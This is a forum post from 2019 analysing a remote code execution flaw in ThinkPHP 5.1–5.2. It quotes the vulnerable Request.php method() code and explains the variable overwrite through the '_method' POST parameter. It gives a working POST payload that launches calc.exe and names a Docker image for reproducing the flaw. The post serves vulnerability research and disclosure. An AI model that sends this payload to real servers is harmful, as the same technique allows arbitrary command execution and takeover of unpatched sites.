資源共享吧|易語言論壇|逆向破解教程|輔助開發(fā)教程|網(wǎng)絡(luò)安全教程|m.rigasin.com|我的開發(fā)技術(shù)隨記

標(biāo)題: Thinkphp5.1 ~ 5.2 全版本代碼執(zhí)行 [打印本頁]

作者: 1366875557    時(shí)間: 2019-5-20 14:37
標(biāo)題: Thinkphp5.1 ~ 5.2 全版本代碼執(zhí)行
Thinkphp5.1 ~ 5.2 全版本代碼執(zhí)行

序言
最近爆出了Thinkphp5.0.*全版本代碼執(zhí)行,其中5.1與5.2全版本在生產(chǎn)環(huán)境下下同樣也存在代碼執(zhí)行
漏洞分析:
文件位置:\thinkphp\library\think\Request.php



/**
     * 當(dāng)前的請(qǐng)求類型
     * @access public
     * @param  bool $origin  是否獲取原始請(qǐng)求類型
     * @return string
     */
    public function method($origin = false)
    {
        if ($origin) {
            // 獲取原始請(qǐng)求類型
            return $this->server('REQUEST_METHOD') ?: 'GET';
        } elseif (!$this->method) {
            if (isset($_POST[$this->config['var_method']])) {
                $this->method    = strtoupper($_POST[$this->config['var_method']]);
                $method          = strtolower($this->method);
                $this->{$method} = $_POST;
            } elseif ($this->server('HTTP_X_HTTP_METHOD_OVERRIDE')) {
                $this->method = strtoupper($this->server('HTTP_X_HTTP_METHOD_OVERRIDE'));
            } else {
                $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
            }
        }
        return $this->method;
    }


其中:
$this->method    = strtoupper($_POST[$this->config['var_method']]);
$method          = strtolower($this->method);
$this->{$method} = $_POST;



$method變量是$this->method,其同等于POST的”_method”參數(shù)值
然后該處存在一個(gè)變量覆蓋
我們可以覆蓋 $filter 屬性值(POC如下)


c=exec&f=calc.exe&&_method=filter&


訪問如下圖所示:
(, 下載次數(shù): 72)

會(huì)爆出一個(gè)警告級(jí)別的異常,導(dǎo)致程序終止
如何觸發(fā):
如果設(shè)置忽略異常提示,如下圖:


(, 下載次數(shù): 74)

本身項(xiàng)目發(fā)布就需要屏蔽異常和錯(cuò)誤所以這個(gè)配置是一個(gè)正常的配置
Payload(POST請(qǐng)求):
彈出計(jì)算器

(, 下載次數(shù): 81)

Docker鏡像:
docker push 0day5/thinkphp5-1-5-2-rec









歡迎光臨 資源共享吧|易語言論壇|逆向破解教程|輔助開發(fā)教程|網(wǎng)絡(luò)安全教程|m.rigasin.com|我的開發(fā)技術(shù)隨記 (http://m.rigasin.com/) Powered by Discuz! X3.4